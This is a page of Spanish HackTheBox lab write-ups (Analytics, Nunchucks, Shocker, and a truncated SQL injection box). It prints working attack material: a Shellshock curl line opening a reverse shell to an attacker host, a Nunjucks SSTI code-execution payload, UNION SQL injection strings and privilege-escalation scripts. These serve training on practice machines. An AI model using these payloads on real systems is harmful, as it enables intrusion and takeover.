haber probado al principio a conectarme por SSH con las credenciales, vuelvo a intentar iniciar sesión por ssh:\n1 2 3 4 ssh metalytics@10.129.229.224 metalytics@10.129.229.224\u0026#39;s password: An4lytics_ds20223# metalytics@analytics:~$ (desgraciadamente no sé usar un teclado) Resulta que la primera vez había escrito mal el usuario metalytics, tal error solo me costó una hora de mi tiempo.\nPrivesc # Ejecutamos linpeas ya fuera del entorno docker, encontramos que nuestra versión del kernel es 6.2.0-25-generic, 22.04.3 LTS (Jammy Jellyfish):\n1 2 3 4 5 6 7 8 9 uname -a Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux cat /etc/os-release PRETTY_NAME=\u0026#34;Ubuntu 22.04.3 LTS\u0026#34; NAME=\u0026#34;Ubuntu\u0026#34; VERSION_ID=\u0026#34;22.04\u0026#34; VERSION=\u0026#34;22.04.3 LTS (Jammy Jellyfish)\u0026#34; VERSION_CODENAME=jammy Tras una búsqueda, vemos que esta versión específica es vulnerable a GameOver(lay), así que usamos el exploit correspondiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 wget http://10.10.14.108:8000/exploit.sh Connecting to 10.10.14.108:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 558 [application/x-sh] Saving to: \\u2018exploit.sh\\u2019 exploit.sh 100%[====================================================\u0026gt;] 558 --.-KB/s in 0s metalytics@analytics:/tmp$ ls exploit.sh ...[SNIP]... tmux-1000 vmware-root_430-558536591 metalytics@analytics:/tmp$ chmod +x exploit.sh metalytics@analytics:/tmp$ ./exploit.sh [+] You should be root now [+] Type \u0026#39;exit\u0026#39; to finish and leave the house cleaned root@analytics:/tmp# whoami root Y tenemos root.\nPost-Root: GameOver(lay) # GameOver(lay) es el nombre de una vulnerabilidad de privesc local de Ubuntu y derivados.\nOverlayFS \u0026amp; User Namespaces # El nombre viene de OverlayFS, el componente afectado. Es un sistema de archivos que permite superponer otros dos:\nCapa superior (Read/Write) Capa inferior (Read Only) OverlayFS pone una sobre otra y las fusiona, el sistema obtiene una vista unificada.\nSi lees un archivo, lo ves desde abajo; si intentas modificar un archivo de abajo, el sistema primero hace una copia exacta en la capa de arriba (copy-up) y luego aplica los cambios.\nEsto se usa mucho en containers, p.ej, de Docker (como el que había en la Analytics).\nPor otro lado, los User Namespaces (en relación a esto) son una herramienta del kernel de Linux que permite que un proceso tenga un UID específico dentro de un entorno aislado, y otro en el sistema real. Dentro del entorno, si eres root, puede actuar como root, pero una vez sales vuelves a ser el usuario que eres en realidad.\nEl kernel de Linux era bastante estricto con OverlayFS, y solo permitía que el root del host OS (no dentro de un User Namespace) montase un filesystem OverlayFS, pero Ubuntu, en 2018, añadió modificaciones en el módulo de OverlayFS del kernel de Linux para que los usuarios que eran root dentro de un Namespace también pudiesen montar OverlayFS, con el fin de que los usuarios normales pudiesen lanzar containers sin necesidad de ser root real.\nVulnerabilidad # El cambio realizado por Ubuntu no supuso una vulnerabilidad hasta 2 años más tarde, cuando otro parche diferente creó un vector de escalada. Ahora, podía pasar lo siguiente:\nEl atacante (no privilegiado) crea un User Namespace y se hace root del mismo. Ahí dentro monta un sistema OverlayFS (gracias al parche de Ubuntu). El atacante monta en la capa inferior (ro) un FS que controla completamente con un archivo malicioso (p.ej bash, con owner root y CAP_SETUID). El atacante intenta modificar ese archivo malicioso. OverlayFS inicia el proceso de copy-up para llevarlo a la capa superior (que es una carpeta real del sistema). El kernel ve que el usuario es root, aunque en su namespace, pero le vale porque no hay comprobaciones de seguridad, y copia el archivo con todos sus atributos intactos. Ahora, en el sistema real, hay un binario de bash, perteneciente a root y com CAP_SETUID. Esta vulnerabilidad existió (y existe) porque, en el momento de hacer la modificación, los desarrolladores de Ubuntu no pensaron en añadir una comprobación a la hora de hacer copy-up.\nEl kernel de Linux original no necesitaba hacer comprobaciones porque en ningún caso un usuario normal podía llegar a una situación como la que permitía el de Ubuntu, si habías llegado hasta el punto de hacer copy-up habiendo montado OverlayFS, se podía asumir que, en circunstancias normales, eras root global.\n","date":"24 de enero de 2026","externalUrl":null,"permalink":"/writeups/analytics/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, RCE, Metabase","title":"HackTheBox - Analytics","type":"writeups"},{"content":"","date":"24 de enero de 2026","externalUrl":null,"permalink":"/tags/metabase/","section":"Tags","summary":"","title":"Metabase","type":"tags"},{"content":"","date":"2 de enero de 2026","externalUrl":null,"permalink":"/tags/capabilities/","section":"Tags","summary":"","title":"Capabilities","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. 6h Datos Iniciales: 10.10.11.122 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 PORT STATE SERVICE VERSION # -- TCP -- 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA) | 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA) |_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://nunchucks.htb/ 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-trane-info: Problem with XML parsing of /evox/about |_ssl-date: TLS randomness does not represent time |_http-title: 400 The plain HTTP request was sent to HTTPS port |_http-server-header: nginx/1.18.0 (Ubuntu) | tls-nextprotoneg: |_ http/1.1 | ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK | Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb | Not valid before: 2021-08-30T15:42:24 |_Not valid after: 2031-08-28T15:42:24 | tls-alpn: |_ http/1.1 # -- UDP -- 5353/udp open|filtered zeroconf Varios puertos abiertos:\n22/TCP (SSH): Versión no vulnerable, no podemos hacer mucho de momento. 80/TCP (HTTP): Un servidor web, nuestro primer sitio a mirar. 443/TCP (HTTPS): Otro (o el mismo) servidor web, con https. 5353/UDP (ZeroConf/mDNS) Zeroconf es un conjunto de tecnologías diseñadas para crear redes IP automáticamente, sin necesidad de configuración manual ni servidores centrales (DHCP o DNS) La máquina está usando mDNS (puerto 5353), es el protocolo subyacente más común para implementar Zeroconf. mDNS permite que los dispositivos en una red local se descubran entre sí y resuelvan hostnames sin un servidor DNS dedicado. Ignoramos SSH de momento, y, dado que como se indica en HackTricks es posible enumerar ciertas cosas de la máquina por mDNS, vamos a por ello antes de lanzarnos a HTTP(S).\nZeroConf, mDNS # Empiezo probando varios scripts de nmap, pero ninguno parece dar resultado\n1 2 3 nmap -sU --script dns-service-discovery -p 5353 10.10.11.122 PORT STATE SERVICE 5353/udp open|filtered zeroconf #Sin info nueva 1 2 3 nmap -sU --script broadcast-dns-service-discovery -p 5353 10.10.11.122 PORT STATE SERVICE 5353/udp open|filtered zeroconf #Sin info nueva Con dig tampoco obtenemos nada:\n1 2 3 dig +short @10.10.11.122 -p 5353 -t any _services._dns-sd._udp.local ;; Connection to 10.10.11.122#5353(10.10.11.122) for _services._dns-sd._udp.local failed: connection refused. ;; no servers could be reached No conseguimos enumerar nada de mDNS, así que vamos a por el servicio web.\nHTTP(S) # Al conectarnos a HTTP se nos redirige a HTTPS, así que ambos puertos sirven lo mismo.\n1 2 3 4 5 6 7 8 9 10 11 12 curl http://nunchucks.htb -v ...[SNIP]... * Request completely sent off \u0026lt; HTTP/1.1 301 Moved Permanently \u0026lt; Server: nginx/1.18.0 (Ubuntu) \u0026lt; Date: Mon, 29 Dec 2025 16:20:32 GMT \u0026lt; Content-Type: text/html \u0026lt; Content-Length: 178 \u0026lt; Connection: keep-alive \u0026lt; Location: https://nunchucks.htb/ #Se nos redirige a HTTPS ...[SNIP]... Al entrar encontramos una página de venta online. Permite crear cuentas, así que tratamos de crear una:\nNo es posible registrarse, tampoco conocemos ningún email y contraseña para iniciar sesión. Tenemos que seguir enumerando.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gobuster dir -u https://nunchucks.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k --xl 45 # -k para ignorar el hecho de que el certificado para el cifrado (https) sea auto-firmado por el propio servidor. # --xl 45 para ignorar wildcards (que en este caso devuelven una respuesta de longitud 45) =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://nunchucks.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] Exclude Length: 45 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /privacy (Status: 200) [Size: 19134] /login (Status: 200) [Size: 9172] /terms (Status: 200) [Size: 17753] /signup (Status: 200) [Size: 9488] /assets (Status: 301) [Size: 179] [--\u0026gt; /assets/] No encontramos mucho en ninguno de los directorios. Probamos a enumerar vhosts:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gobuster vhost --url https://nunchucks.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --ad -k =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://nunchucks.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] User Agent: gobuster/3.8 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== store.nunchucks.htb Status: 200 [Size: 4029] Encontramos store.nunchucks.htb, lo añadimos a /etc/hosts.\nSubdominio store y posible SSTI # Al entrar, nos encontramos con la siguiente página:\nVemos que cuando introducimos un email, aparece un texto debajo indicando el email al que serán mandada la info, es decir, nuestro input.\nEsto nos indica que puede estar tratándose de un caso de SSTI, así que probamos con varios inputs, como ${7*7}:\nLa primera prueba no funciona, probamos con {{ 7*'7' }}:\nY esta sí funciona.\nDado que sabemos que {{ 7*'7' }} devuelve 49 y que whatweb indica que la página usa ExpressJS\n1 2 whatweb https://store.nunchucks.htb/api/submit https://store.nunchucks.htb/api/submit [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], X-Powered-By[Express], nginx[1.18.0] podemos buscar un Template engine que funcione con ExpressJS.\nTras una búsqueda, encontramos Nunjucks, cuyo nombre es sospechosamente parecido al de la máquina.\nNunjucks y RCE - Documentación \u0026amp; Explicación # En la documentación de Nunjucks encontramos lo siguiente:\nnunjucks does not sandbox execution so it is not safe to run user-defined templates or inject user-defined content into template definitions. On the server, you can expose attack vectors for accessing sensitive data and remote code execution\u0026hellip;\nEn esta página encontramos info acerca de la posibilidad de conseguir RCE haciendo uso de un payload como el siguiente:\n1 {{ range.constructor(\u0026#34;return global.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;whoami\u0026#39;).toString()\u0026#34;)() }} Explicación:\nNunjucks provee range como una función por defecto. Usar range.constructor permite acceder al constructor de funciones de Javascript. range no tiene nada de especial, es simplemente un objeto disponible en este contexto. Se usa porque en js x.constructor lleva a la clase que creó x. Como Function creó range, range.constructor lleva a Function\nEn js, el constructor Function toma strings como argumentos y los convierte en el cuerpo de una función nueva. P.ej y si tenemos en cuenta que en este caso range.constructor equivale a Function, range.constructor(\u0026quot;return x\u0026quot;) sería equivalente a:\n1 2 3 const funcionAnonima = function(){ return x; } Y añadir un \u0026ldquo;()\u0026rdquo; al final llamaría directamente a la función creada, es decir, range.constructor(\u0026quot;return x\u0026quot;)() sería equivalente a:\n1 2 3 4 5 const funcionAnonima = function(){ return x; } funcionAnonima(); Esto significa que nuestro payload hace algo como:\n1 2 3 4 5 const funcionAnonima = function(){ return global.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;whoami\u0026#39;).toString() } funcionAnonima(); Al ejecutar la función, hace lo siguiente:\nSalta al entorno global (global) y dentro de él al objeto del proceso actual (process) Entra a MainModule, que representa el script principal que inició la aplicación y que en general debería tener acceso a funciones para importar librerías. Importa el módulo child_process Llama al método execSync con el comando como parámetro (whoami) Convierte el output a string y lo devuelve Nunjucks y RCE - Explotación # Probamos a ejecutar algunos comandos con nuestro payload:\nwhoami: 1 2 3 4 5 6 ...[SNIP]... Priority: u=0 Te: trailers Connection: keep-alive {\u0026#34;email\u0026#34;:\u0026#34;{{ range.constructor(\\\u0026#34;return global.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;whoami\u0026#39;).toString()\\\u0026#34;)() }}\u0026#34;} Devuelve:\n1 \u0026#34;response\u0026#34;:\u0026#34;You will receive updates on the following email address: david\\n.\u0026#34; Vemos que se ejecuta como usuario david.\nTras probar a ejecutar varios reverse shells, ninguno funcionaba (ni encodeando en base64). Decido probar a crear un par de claves ssh para david y copiar la privada:\n1 2 #Dentro de execSync en la POST request: mkdir ~/.ssh \u0026amp;\u0026amp; chmod 700 ~/.ssh \u0026amp;\u0026amp; ssh-keygen -t ed25519 -q -f ~/.ssh/mykey2 La clave privada (mykey2) habrá que copiarla a la máquina atacante, la clave pública (mykey2.pub) habrá que copiarla a authorized_keys dentro de /home/david/.ssh/\nMostramos en el navegador la clave privada:\n1 2 # mykey2 = clave privada, mykey2.pub = clave pública cat ~/.ssh/mykey2 y en mi caso la guardo a id_ed25519. Además, cambio cada \\n por un salto de línea literal (dado que el comando ha devuelto un string con \\n literales en lugar de saltos de línea)\nLuego copio mykey2.pub a authorized_keys:\n1 2 #Dentro de execSync en la POST request: cat id_rsa_key.pub \u0026gt;\u0026gt; /home/david/.ssh/authorized_keys Y por último intento conectarme:\n1 2 3 4 5 ssh david@nunchucks.htb -i id_ed25519 ... Last login: Fri Jan 2 20:12:54 2026 from 10.10.14.10 david@nunchucks:~$ Escalada de privilegios # Al ejecutar linpeas.sh destacan varias cosas:\nMUY IMPORTANTE: Files with capabilities: /usr/bin/perl = cap_setuid+ep MUY IMPORTANTE: Según linpeas, vulnerable a CVE-2021-3560 IMPORTANTE: Binario pkexec con SUID bit MEDIO: Archivo /etc/apparmor/severity.db: ASCII text Nota: Capabilities y root Normalmente, en Linux hay 2 tipos de usuarios (ignorando los de servicio): usuarios normales, y root. Antiguamente, si un programa quería hacer algo especial, había que dar permiso SUID al binario, lo que resultaba peligroso porque, quizás para hacer una cosa sencilla, se le otorga al binario el poder de administrador total.La intención de las capabilities es dividir el poder de root en partes pequeñas específicas, como abrir puertos bajos (CAP_NET_BIND_SERVICE) o cambiar la hora del sistema (CAP_SYS_TIME).\nLas capabilities están hechas para reducir el peligro que supondría otorgar root, pero el peligro sigue presente si la capability es crítica, como en este caso, con CAP_SETUID+EP.\ncap_setuid+ep permite al proceso cambiar su propio UID de forma arbitraria, es decir, puede, cuando quiera, convertirse a root (UID 0). Para ello, ejecutamos un script de perl que cambie el UID del proceso a root (0) y ejecute un shell:\n1 2 david@nunchucks:~$ cd /tmp david@nunchucks:/tmp$ nano script.pl 1 2 3 4 5 #!/usr/bin/perl use POSIX qw(setuid); setuid(0); system(\u0026#34;/bin/bash\u0026#34;); 1 2 3 david@nunchucks:/tmp$ chmod +x script.pl david@nunchucks:/tmp$ ./script.pl root@nunchucks:/tmp# Y tenemos root.\n","date":"2 de enero de 2026","externalUrl":null,"permalink":"/writeups/nunchucks/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: SSTI, Nunjucks, Perl, Capabilities","title":"HackTheBox - Nunchucks","type":"writeups"},{"content":"","date":"2 de enero de 2026","externalUrl":null,"permalink":"/tags/nunjucks/","section":"Tags","summary":"","title":"Nunjucks","type":"tags"},{"content":"","date":"2 de enero de 2026","externalUrl":null,"permalink":"/tags/perl/","section":"Tags","summary":"","title":"Perl","type":"tags"},{"content":"","date":"2 de enero de 2026","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"28 de diciembre de 2025","externalUrl":null,"permalink":"/tags/cgi/","section":"Tags","summary":"","title":"CGI","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~3h Datos Iniciales: 10.10.10.56 Escaneo Inicial # 1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel #Nada en UDP De aquí vemos abiertos dos puertos:\n80/TCP: HTTP, el potencial vector de entrada. 2222/TCP: SSH, podemos mirar la versión para ver si hay vulnerabilidades. SSH # Respecto a la versión de SSH (OpenSSH 7.2p2), encontramos una vulnerabilidad que permite enumerar usuarios del sistema (CVE-2016-6210), aunque finalmente resulta no funcionar, por lo que nos centramos en el puerto 80.\nHTTP # Al entrar a la página, encontramos una imagen al lado de un texto \u0026ldquo;Don\u0026rsquo;t Bug Me!\u0026rdquo;, pero nada relevante ni en la imagen ni en el código fuente. Hacemos fuerza bruta para encontrar algo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ffuf -u http://10.10.10.56/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ ________________________________________________ :: Method : GET :: URL : http://10.10.10.56/FUZZ/ :: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ________________________________________________ cgi-bin [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 45ms] Al ejecutar ffuf, encontramos el directorio cgi-bin, que según Google corresponde al estándar Common Gateway Interface, usado para que el servidor ejecute scripts usando como parámetros datos contenidos en la solicitud HTTP.\nAhora sabemos que el directorio contendrá scripts en algún lenguaje, así que buscamos alguno:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ffuf -u http://10.10.10.56/cgi-bin/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -e .pl,.sh,.py,.cgi,.ts,.rb,.js -fc 403 -x http://127.0.0.1:8080 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ ________________________________________________ :: Method : GET :: URL : http://10.10.10.56/cgi-bin/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt :: Extensions : .pl .sh .py .cgi .ts .rb .js :: Filter : Response status: 403 ________________________________________________ user.sh [Status: 200, Size: 118, Words: 19, Lines: 8, Duration: 104ms] :: Progress: [38000/38000] :: Job [1/1] :: 751 req/sec :: Duration: [0:00:51] :: Errors: 0 :: Encontramos un script user.sh. Si lo ejecutamos:\n1 2 3 4 5 6 curl http://10.10.10.56:80/cgi-bin/user.sh Content-Type: text/plain Just an uptime test script 20:55:58 up 5:56, 0 users, load average: 0.00, 0.02, 0.00 Tras un rato buscando qué puede hacerse con el script, descubro que un archivo .sh (ejecutado potencialmente con Bash) dentro de cgi-bin (con parámetros pasados al script a través de las cabeceras HTTP) hacen a la máquina vulnerable a Shellshock (Vulnerabilidad de la que viene el propio nombre de la máquina).\nShellshock # Según InfosecWriteups, Shellshock es una vulnerabilidad de Bash que permite que los atacantes ejecuten código a través de las cabeceras HTTP por una forma errónea de parsearlas.\nLos scripts CGI dependen de las cabeceras HTTP para tomar parámetros. Cuando Apache pasa el request a Bash, este toma las cabeceras y las guarda en variables de entorno por si el script las necesita usar.\nEl problema del que viene la vulnerabilidad es un mal parseo de headers por parte de Bash, que permite que, además de guardar parte de un header en una variable de entorno, se ejecute un segundo comando.\nEsto se hace definiendo una función en Bash mientras se guarda como variable de entorno, lo que hace que el shell no deje de parsear y ejecute lo que venga después:\n1 curl -H \u0026#39;User-Agent: () { :; }; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.10/4321 0\u0026gt;\u0026amp;1\u0026#39; http://shocker.htb/cgi-bin/user.sh Mientras ejecutamos esto, tenemos un handler (p.ej Penelope) en escucha:\n1 2 3 4 5 6 7 8 9 penelope.py -i tun0 -p 4321 [+] Listening for reverse shells on 10.10.14.10:4321 ➤ Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Got reverse shell from Shocker~10.10.10.56-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ----- shelly@Shocker:/usr/lib/cgi-bin$ Y tenemos un shell.\nEscalada de privilegios # Veo que shelly puede ejecutar /usr/bin/perl como root sin necesidad de contraseña.\n1 2 3 4 5 6 shelly@Shocker:/usr/lib/cgi-bin$ sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl Pruebo a iniciar un shell desde perl:\n1 2 3 shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl exec \u0026#39;/bin/bash\u0026#39;, \u0026#39;-i\u0026#39;; #Sin output, no funciona. No funciona, pero pruebo a crear un script que haga lo mismo:\n1 2 3 4 shelly@Shocker:/tmp$ echo \u0026#39;exec \u0026#34;/bin/bash\u0026#34;, \u0026#34;-i\u0026#34;;\u0026#39; \u0026gt; shell.pl shelly@Shocker:/tmp$ sudo /usr/bin/perl shell.pl root@Shocker:/tmp# whoami root Y tenemos root.\n","date":"28 de diciembre de 2025","externalUrl":null,"permalink":"/writeups/shocker/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Perl, CVE Público, Shellshock, CGI","title":"HackTheBox - Shocker","type":"writeups"},{"content":" Dificultad: easy Tiempo aprox. ~3h Datos Iniciales: 10.10.11.116 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA) | 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA) |_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519) 80/tcp open http Apache httpd 2.4.48 ((Debian)) #-\u0026gt; CVE-2021-40438? |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.48 (Debian) 4566/tcp open http nginx #-\u0026gt; 403 Forbidden para todo (gobuster no muestra nada) |_http-title: 403 Forbidden 8080/tcp open http nginx #-\u0026gt; Bad Gateway para todo |_http-title: 502 Bad Gateway Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP Puertos abiertos:\n22/TCP (SSH): Poco que hacer de momento 80/TCP (HTTP): El principal vector de entrada 4566,8080/TCP (HTTP): Ninguno de los dos parece funcionar 80 TCP # Al entrar a la página encontramos un formulario de Login para registrarse con un nombre de usuario y un país:\nProbamos a registrar un usuario mientras vemos las solicitudes y respuestas HTTP en Burpsuite. Al registrar un usuario tienen lugar 4 mensajes:\nAl pulsar Join Now como username usuario y país Philippines vemos que se realiza la siguiente solicitud: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host: 10.10.11.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 36 Origin: http://10.10.11.116 Connection: keep-alive Referer: http://10.10.11.116/ Upgrade-Insecure-Requests: 1 Priority: u=0, i username=usuario\u0026amp;country=Phillipines Aquí vemos que simplemente mandamos como parámetros username y country nuestros datos.\nEl servidor nos responde con una cookie user que contiene nuestra info: 1 2 3 4 5 6 7 8 9 10 HTTP/1.1 302 Found Date: Sun, 28 Dec 2025 17:14:30 GMT Server: Apache/2.4.48 (Debian) X-Powered-By: PHP/7.4.23 Set-Cookie: user=f8032d5cae3de20fcec887f395ec9a6a Location: /account.php Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Nuestro navegador ahora manda otra nueva solicitud hacia /account.php usando la cookie user dada. 1 2 3 4 5 6 7 8 9 10 11 GET /account.php HTTP/1.1 Host: 10.10.11.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://10.10.11.116/ Connection: keep-alive Cookie: user=f8032d5cae3de20fcec887f395ec9a6a Upgrade-Insecure-Requests: 1 Priority: u=0, i El servidor nos responde, mostrándonos una lista de usuarios que han seleccionado nuestro mismo país: Second Order SQLi # Ahora que sabemos lo que hace la página, podemos intuir que el query que tiene lugar por detrás tiene la forma:\n1 SELECT user FROM usertable WHERE country LIKE \u0026#39;Philippines\u0026#39; Se trata de un Second Order SQL injection. Si usamos user=paco1 y como país, en lugar de Philippines, mandamos USA' UNION SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA-- -, el query quedará:\n1 SELECT user FROM usertable WHERE country LIKE \u0026#39;USA\u0026#39; UNION SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA-- -\u0026#39; Miramos el output:\nEl proceso para ejecutar comandos de MySQL a partir de ahora será:\nReenviar mensaje inicial (1) con el siguiente formato de parámetros: 1 username=\u0026lt;USUARIO\u0026gt;\u0026amp;country=X\u0026#39; UNION \u0026lt;COMANDO\u0026gt;--+- Tomar la cookie devuelta por el servidor, p.ej: 1 Set-Cookie: user=36ec43890818a1106022da24dbc2bab9 Reenviar tercer mensaje con la cookie nueva y ver el output En algunos payloads se va viendo cómo cambio el username (y el país antes del ' UNION la inyección) cada vez que registro un nuevo usuario (paco1, paco2, Jorge, etc.). Aunque esto no es necesario y los nombres pueden reutilizarse y registrarse varias veces con países diferentes, lo hago para tener el output de cada comando de enumeración aislado del resto de los anteriores.\nEnumeración de MySQL # Probamos a ver qué usuarios hay en la base de datos, recibimos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;div class=\u0026#34;container p-5\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-white\u0026#34;\u0026gt; Welcome paco3 \u0026lt;/h1\u0026gt; \u0026lt;h3 class=\u0026#34;text-white\u0026#34;\u0026gt; Other Players In p\u0026#39; UNION SELECT user FROM mysql.user-- - \u0026lt;/h3\u0026gt; \u0026lt;li class=\u0026#39;text-white\u0026#39;\u0026gt; mariadb.sys\u0026lt;/li\u0026gt; \u0026lt;li class=\u0026#39;text-white\u0026#39;\u0026gt;mysql\u0026lt;/li\u0026gt; \u0026lt;li class=\u0026#39;text-white\u0026#39;\u0026gt;root\u0026lt;/li\u0026gt; \u0026lt;li class=\u0026#39;text-white\u0026#39;\u0026gt;uhc\u0026lt;/li\u0026gt; \u0026lt;/div\u0026gt; Usuarios: uhc, root, mysql, mariadb.sys\nPara ver el usuario en uso:\n1 username=paco4\u0026amp;country=p\u0026#39; UNION SELECT CURRENT_USER()-- - Respuesta: uhc@localhost\nPara ver sus permisos de R/W, mandamos el siguente contenido en el campo country:\n1 username=paco6\u0026amp;country=X\u0026#39; UNION SELECT file_priv FROM mysql.user WHERE user = \u0026#39;uhc\u0026#39;-- - Y el servidor nos devuelve \u0026ldquo;Y\u0026rdquo;, lo que indica que 